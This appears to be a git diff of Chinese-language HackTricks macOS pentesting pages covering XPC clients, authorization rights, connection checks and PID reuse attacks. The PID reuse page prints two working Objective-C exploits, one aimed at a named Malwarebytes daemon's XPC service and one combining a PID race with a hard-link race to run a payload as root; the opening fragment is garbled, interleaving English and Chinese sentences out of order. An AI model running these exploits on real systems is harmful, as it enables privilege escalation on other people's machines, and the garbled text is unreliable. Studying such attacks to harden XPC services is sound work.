let interface = NSXPCInterface(with: MyServiceProtocol.self)
|
||||
connection.remoteObjectInterface = interface
|
||||
|
||||
// Set the NSXPCConnection delegate
|
||||
connection.delegate = self
|
||||
|
||||
// Establish the connection
|
||||
connection.resume()
|
||||
|
||||
let proxy = connection.remoteObjectProxy
|
||||
proxy?.performAction(with: data) { response in
|
||||
// Handle the response from the server
|
||||
}
|
||||
// Call remote methods
|
||||
let remoteObject = connection.remoteObjectProxy as? MyServiceProtocol
|
||||
remoteObject?.performAction()
|
||||
```
|
||||
|
||||
### Security Considerations
|
||||
Remember to replace `"com.example.MyService"` with the appropriate service name for your application.
|
||||
|
||||
When using the Dylb client code, it is important to consider security measures to protect against potential vulnerabilities. Here are some recommendations:
|
||||
请记得将 `"com.example.MyService"` 替换为您的应用程序的适当服务名称。
|
||||
|
||||
- Validate and sanitize user input to prevent injection attacks.
|
||||
- Implement proper authentication and authorization mechanisms.
|
||||
- Encrypt sensitive data before sending it over the network.
|
||||
- Regularly update and patch the Dylb code to address any security vulnerabilities.
|
||||
### Conclusion
|
||||
|
||||
### 安全注意事项
|
||||
The client code inside a Dylb is crucial for establishing communication with a server and sending requests in macOS. By following the steps mentioned above, you can effectively use the Dylb client code in your applications.
|
||||
|
||||
在使用 Dylb 客户端代码时,重要的是要考虑安全措施,以防止潜在的漏洞。以下是一些建议:
|
||||
结论
|
||||
|
||||
- 验证和清理用户输入,以防止注入攻击。
|
||||
- 实施适当的身份验证和授权机制。
|
||||
- 在发送敏感数据之前对其进行加密。
|
||||
- 定期更新和修补 Dylb 代码,以解决任何安全漏洞。
|
||||
Dylb 中的客户端代码对于在 macOS 中与服务器建立通信并发送请求至关重要。通过按照上述步骤操作,您可以在应用程序中有效地使用 Dylb 客户端代码。
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
||||
// gcc injection example:
|
||||
|
@ -529,10 +535,10 @@ return;
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -39,8 +39,8 @@ return YES;
|
|||
```
|
||||
有关如何正确配置此检查的更多信息,请参阅:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check.md" %}
|
||||
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 应用程序权限
|
||||
|
@ -261,12 +261,15 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
1. **'authenticate-user': 'false'**
|
||||
* 这是最直接的键。如果设置为`false`,表示用户无需提供身份验证即可获得此权限。
|
||||
* 这与下面的两个键之一结合使用,或者指示用户必须属于的组。
|
||||
|
||||
2. **'allow-root': 'true'**
|
||||
* 如果用户作为具有提升权限的root用户操作,并且此键设置为`true`,则root用户可能无需进一步身份验证即可获得此权限。然而,通常情况下,要达到root用户状态已经需要进行身份验证,所以对于大多数用户来说,这不是一个“无需身份验证”的情况。
|
||||
|
||||
3. **'session-owner': 'true'**
|
||||
* 如果设置为`true`,会话的所有者(当前登录的用户)将自动获得此权限。如果用户已经登录,则可能绕过其他身份验证。
|
||||
|
||||
4. **'shared': 'true'**
|
||||
* 此键不会在没有身份验证的情况下授予权限。相反,如果设置为`true`,意味着一旦权限得到验证,它可以在多个进程之间共享,而无需每个进程重新进行身份验证。但是,初始授予权限仍然需要进行身份验证,除非与其他键(如`'authenticate-user': 'false'`)结合使用。
|
||||
* 此键不会在没有身份验证的情况下授予权限。相反,如果设置为`true`,表示一旦权限得到验证,它可以在多个进程之间共享,而无需每个进程重新进行身份验证。但是,初始授予权限仍然需要进行身份验证,除非与其他键(如`'authenticate-user': 'false'`)结合使用。
|
||||
|
||||
你可以使用[**这个脚本**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)获取有趣的权限:
|
||||
```bash
|
||||
|
@ -284,9 +287,9 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
### 检查是否使用EvenBetterAuthorization
|
||||
|
||||
如果你找到了函数:**`[HelperTool checkAuthorization:command:]`**,那么该进程很可能正在使用之前提到的授权模式:
|
||||
如果你找到函数:**`[HelperTool checkAuthorization:command:]`**,那么该进程可能正在使用之前提到的授权模式:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果这个函数调用了`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数,那么它正在使用[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。
|
||||
|
||||
|
@ -302,7 +305,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
|
|||
|
||||
在这种情况下,我们与EvenBetterAuthorizationSample中的情况相同,[**查看此行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
|
||||
|
||||
知道了使用的协议名称,可以使用以下命令**转储其头文件定义**:
|
||||
知道所使用协议的名称后,可以使用以下命令**转储其头文件定义**:
|
||||
```bash
|
||||
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||
|
||||
|
@ -428,7 +431,7 @@ NSLog(@"Finished!");
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
|
|
@ -0,0 +1,117 @@
|
|||
# macOS XPC连接进程检查
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## XPC连接进程检查
|
||||
|
||||
当与XPC服务建立连接时,服务器将检查连接是否被允许。通常会执行以下检查:
|
||||
|
||||
1. 检查连接的**进程是否使用Apple签名的**证书(仅由Apple提供)。
|
||||
* 如果未经验证,攻击者可以创建一个**伪造的证书**以匹配任何其他检查。
|
||||
2. 检查连接的进程是否使用**组织的证书**进行签名(团队ID验证)。
|
||||
* 如果未经验证,可以使用Apple的**任何开发者证书**进行签名并连接到服务。
|
||||
3. 检查连接的进程是否包含**正确的Bundle ID**。
|
||||
* 如果未经验证,可以使用由同一组织**签名的任何工具**与XPC服务进行交互。
|
||||
4. (4或5)检查连接的进程是否具有**正确的软件版本号**。
|
||||
* 如果未经验证,即使其他检查已经通过,也可以使用旧的、存在安全漏洞的客户端进行连接到XPC服务的过程注入。
|
||||
5. (4或5)检查连接的进程是否具有具有危险权限的强化运行时(例如允许加载任意库或使用DYLD环境变量的权限)。
|
||||
* 如果未经验证,客户端可能**容易受到代码注入**的攻击。
|
||||
6. 检查连接的进程是否具有允许其连接到服务的**授权**。这适用于Apple二进制文件。
|
||||
7. **验证**必须基于连接的**客户端的审计令牌**而不是其进程ID(PID),因为前者可以防止**PID重用攻击**。
|
||||
* 开发人员很少使用审计令牌API调用,因为它是**私有的**,所以Apple可能随时**更改**。此外,Mac App Store应用程序不允许使用私有API。
|
||||
|
||||
### 通信攻击
|
||||
|
||||
有关PID重用攻击的更多信息,请查看:
|
||||
|
||||
{% content-ref url="macos-pid-reuse.md" %}
|
||||
[macos-pid-reuse.md](macos-pid-reuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
有关**`xpc_connection_get_audit_token`**攻击的更多信息,请查看:
|
||||
|
||||
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
|
||||
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Trustcache - 降级攻击预防
|
||||
|
||||
Trustcache是一种在Apple Silicon机器上引入的防御方法,它存储了Apple二进制文件的CDHSAH数据库,因此只有允许的非修改二进制文件才能执行。这可以防止降级版本的执行。
|
||||
|
||||
### 代码示例
|
||||
|
||||
服务器将在名为**`shouldAcceptNewConnection`**的函数中实现此**验证**。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
|
||||
//Check connection
|
||||
return YES;
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
对象NSXPCConnection有一个**私有**属性**`auditToken`**(应该使用但可能会更改)和一个**公共**属性**`processIdentifier`**(不应该使用)。
|
||||
|
||||
可以使用以下方式验证连接的进程:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
[...]
|
||||
SecRequirementRef requirementRef = NULL;
|
||||
NSString requirementString = @"anchor apple generic and identifier \"xyz.hacktricks.service\" and certificate leaf [subject.CN] = \"TEAMID\" and info [CFBundleShortVersionString] >= \"1.0\"";
|
||||
/* Check:
|
||||
- Signed by a cert signed by Apple
|
||||
- Check the bundle ID
|
||||
- Check the TEAMID of the signing cert
|
||||
- Check the version used
|
||||
*/
|
||||
|
||||
// Check the requirements with the PID (vulnerable)
|
||||
SecRequirementCreateWithString(requirementString, kSecCSDefaultFlags, &requirementRef);
|
||||
SecCodeCheckValidity(code, kSecCSDefaultFlags, requirementRef);
|
||||
|
||||
// Check the requirements wuing the auditToken (secure)
|
||||
SecTaskRef taskRef = SecTaskCreateWithAuditToken(NULL, ((ExtendedNSXPCConnection*)newConnection).auditToken);
|
||||
SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString))
|
||||
```
|
||||
如果开发者不想检查客户端的版本,他至少可以检查客户端是否容易受到进程注入的攻击:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
[...]
|
||||
CFDictionaryRef csInfo = NULL;
|
||||
SecCodeCopySigningInformation(code, kSecCSDynamicInformation, &csInfo);
|
||||
uint32_t csFlags = [((__bridge NSDictionary *)csInfo)[(__bridge NSString *)kSecCodeInfoStatus] intValue];
|
||||
const uint32_t cs_hard = 0x100; // don't load invalid page.
|
||||
const uint32_t cs_kill = 0x200; // Kill process if page is invalid
|
||||
const uint32_t cs_restrict = 0x800; // Prevent debugging
|
||||
const uint32_t cs_require_lv = 0x2000; // Library Validation
|
||||
const uint32_t cs_runtime = 0x10000; // hardened runtime
|
||||
if ((csFlags & (cs_hard | cs_require_lv)) {
|
||||
return Yes; // Accept connection
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
|
@ -0,0 +1,302 @@
|
|||
# macOS PID 重用
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## PID 重用
|
||||
|
||||
当 macOS 的 **XPC 服务**基于 **PID** 而不是 **审计令牌**来检查被调用的进程时,它容易受到 PID 重用攻击。这种攻击基于一种 **竞争条件**,其中一个 **利用**将会 **滥用** 功能并在此之后执行 **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** 与 **允许的**二进制文件。
|
||||
|
||||
这个函数将使 **允许的二进制文件拥有 PID**,但是 **恶意的 XPC 消息将在之前被发送**。因此,如果 **XPC** 服务在执行 **`posix_spawn`** 之后使用 **PID** 来 **验证**发送者并在检查之后,它将认为它来自一个 **授权的**进程。
|
||||
|
||||
### 攻击示例
|
||||
|
||||
如果你找到了函数 **`shouldAcceptNewConnection`** 或者被它调用的函数 **调用** **`processIdentifier`** 而不是调用 **`auditToken`**。很有可能它是在验证进程的 PID 而不是审计令牌。\
|
||||
就像这个例子中所示(来自参考资料):
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
检查这个攻击示例(同样来自参考资料)以查看攻击的两个部分:
|
||||
|
||||
* 生成多个分支的部分
|
||||
* **每个分支**将在发送消息后立即执行 **`posix_spawn`** 将负载发送到 XPC 服务。
|
||||
|
||||
{% hint style="danger" %}
|
||||
为了使攻击生效,重要的是导出 **`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** 或将其放入攻击中:
|
||||
```objectivec
|
||||
asm(".section __DATA,__objc_fork_ok\n"
|
||||
"empty:\n"
|
||||
".no_dead_strip empty\n");
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="NSTasks" %}
|
||||
首选项使用 **`NSTasks`** 和参数来启动子进程以利用 RC 漏洞。
|
||||
```objectivec
|
||||
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#include <spawn.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define RACE_COUNT 32
|
||||
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
|
||||
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
|
||||
|
||||
// allow fork() between exec()
|
||||
asm(".section __DATA,__objc_fork_ok\n"
|
||||
"empty:\n"
|
||||
".no_dead_strip empty\n");
|
||||
|
||||
extern char **environ;
|
||||
|
||||
// defining necessary protocols
|
||||
@protocol ProtectionService
|
||||
- (void)startDatabaseUpdate;
|
||||
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
|
||||
- (void)uninstallProduct;
|
||||
- (void)installProductUpdate;
|
||||
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
|
||||
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
|
||||
- (void)triggerLicenseRelatedChecks;
|
||||
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
|
||||
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
||||
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
||||
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
||||
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
|
||||
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
|
||||
- (void)restartOS;
|
||||
- (void)resumeScanJob;
|
||||
- (void)pauseScanJob;
|
||||
- (void)stopScanJob;
|
||||
- (void)startScanJob;
|
||||
- (void)disposeOperationBy:(NSUUID *)arg1;
|
||||
- (void)subscribeTo:(long long)arg1;
|
||||
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
|
||||
@end
|
||||
|
||||
void child() {
|
||||
|
||||
// send the XPC messages
|
||||
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
|
||||
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
|
||||
xpcConnection.remoteObjectInterface = remoteInterface;
|
||||
|
||||
[xpcConnection resume];
|
||||
[xpcConnection.remoteObjectProxy restartOS];
|
||||
|
||||
char target_binary[] = BINARY;
|
||||
char *target_argv[] = {target_binary, NULL};
|
||||
posix_spawnattr_t attr;
|
||||
posix_spawnattr_init(&attr);
|
||||
short flags;
|
||||
posix_spawnattr_getflags(&attr, &flags);
|
||||
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
||||
posix_spawnattr_setflags(&attr, flags);
|
||||
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
||||
}
|
||||
|
||||
bool create_nstasks() {
|
||||
|
||||
NSString *exec = [[NSBundle mainBundle] executablePath];
|
||||
NSTask *processes[RACE_COUNT];
|
||||
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
|
||||
}
|
||||
|
||||
int i = 0;
|
||||
struct timespec ts = {
|
||||
.tv_sec = 0,
|
||||
.tv_nsec = 500 * 1000000,
|
||||
};
|
||||
|
||||
nanosleep(&ts, NULL);
|
||||
if (++i > 4) {
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
[processes[i] terminate];
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
|
||||
if(argc > 1) {
|
||||
// called from the NSTasks
|
||||
child();
|
||||
|
||||
} else {
|
||||
NSLog(@"Starting the race");
|
||||
create_nstasks();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% tab title="fork" %}
|
||||
这个例子使用原始的 **`fork`** 来启动**利用 PID 竞争条件的子进程**,然后通过硬链接利用**另一个竞争条件**:
|
||||
```objectivec
|
||||
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
|
||||
// gcc -framework Foundation expl.m -o expl
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
#include <spawn.h>
|
||||
#include <pthread.h>
|
||||
|
||||
// TODO: CHANGE PROTOCOL AND FUNCTIONS
|
||||
@protocol HelperProtocol
|
||||
- (void)DoSomething:(void (^)(_Bool))arg1;
|
||||
@end
|
||||
|
||||
// Global flag to track exploitation status
|
||||
bool pwned = false;
|
||||
|
||||
/**
|
||||
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
|
||||
* XPC service verify the legit binary and then execute as root out payload.
|
||||
*/
|
||||
void *check_race(void *arg) {
|
||||
while(!pwned) {
|
||||
// Overwrite with contents of the legit binary
|
||||
system("cat ./legit_bin > hard_link");
|
||||
usleep(50000);
|
||||
|
||||
// Overwrite with contents of the payload to execute
|
||||
// TODO: COMPILE YOUR OWN PAYLOAD BIN
|
||||
system("cat ./payload > hard_link");
|
||||
usleep(50000);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void child_xpc_pid_rc_abuse(){
|
||||
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
|
||||
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
|
||||
extern char **environ;
|
||||
|
||||
// Connect with XPC service
|
||||
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
|
||||
NSString* service_name = @"com.example.Helper";
|
||||
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
|
||||
// TODO: CNAGE THE PROTOCOL NAME
|
||||
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
|
||||
[connection setRemoteObjectInterface:interface];
|
||||
[connection resume];
|
||||
|
||||
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
|
||||
NSLog(@"[-] Something went wrong");
|
||||
NSLog(@"[-] Error: %@", error);
|
||||
}];
|
||||
|
||||
NSLog(@"obj: %@", obj);
|
||||
NSLog(@"conn: %@", connection);
|
||||
|
||||
// Call vulenrable XPC function
|
||||
// TODO: CHANEG NAME OF FUNCTION TO CALL
|
||||
[obj DoSomething:^(_Bool b){
|
||||
NSLog(@"Response, %hdd", b);
|
||||
}];
|
||||
|
||||
// Change current process to the legit binary suspended
|
||||
char target_binary[] = kValid;
|
||||
char *target_argv[] = {target_binary, NULL};
|
||||
posix_spawnattr_t attr;
|
||||
posix_spawnattr_init(&attr);
|
||||
short flags;
|
||||
posix_spawnattr_getflags(&attr, &flags);
|
||||
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
||||
posix_spawnattr_setflags(&attr, flags);
|
||||
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
||||
}
|
||||
|
||||
/**
|
||||
* Function to perform the PID race condition using children calling the XPC exploit.
|
||||
*/
|
||||
void xpc_pid_rc_abuse() {
|
||||
#define RACE_COUNT 1
|
||||
extern char **environ;
|
||||
int pids[RACE_COUNT];
|
||||
|
||||
// Fork child processes to exploit
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
int pid = fork();
|
||||
if (pid == 0) { // If a child process
|
||||
child_xpc_pid_rc_abuse();
|
||||
}
|
||||
printf("forked %d\n", pid);
|
||||
pids[i] = pid;
|
||||
}
|
||||
|
||||
// Wait for children to finish their tasks
|
||||
sleep(3);
|
||||
|
||||
// Terminate child processes
|
||||
for (int i = 0; i < RACE_COUNT; i++) {
|
||||
if (pids[i]) {
|
||||
kill(pids[i], 9);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Create and set execution rights to 'hard_link' file
|
||||
system("touch hard_link");
|
||||
system("chmod +x hard_link");
|
||||
|
||||
// Create thread to exploit sign verification RC
|
||||
pthread_t thread;
|
||||
pthread_create(&thread, NULL, check_race, NULL);
|
||||
|
||||
while(!pwned) {
|
||||
// Try creating 'download' directory, ignore errors
|
||||
system("mkdir download 2>/dev/null");
|
||||
|
||||
// Create a hardlink
|
||||
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
|
||||
system("ln hard_link download/legit_bin");
|
||||
|
||||
xpc_pid_rc_abuse();
|
||||
usleep(10000);
|
||||
|
||||
// The payload will generate this file if exploitation is successfull
|
||||
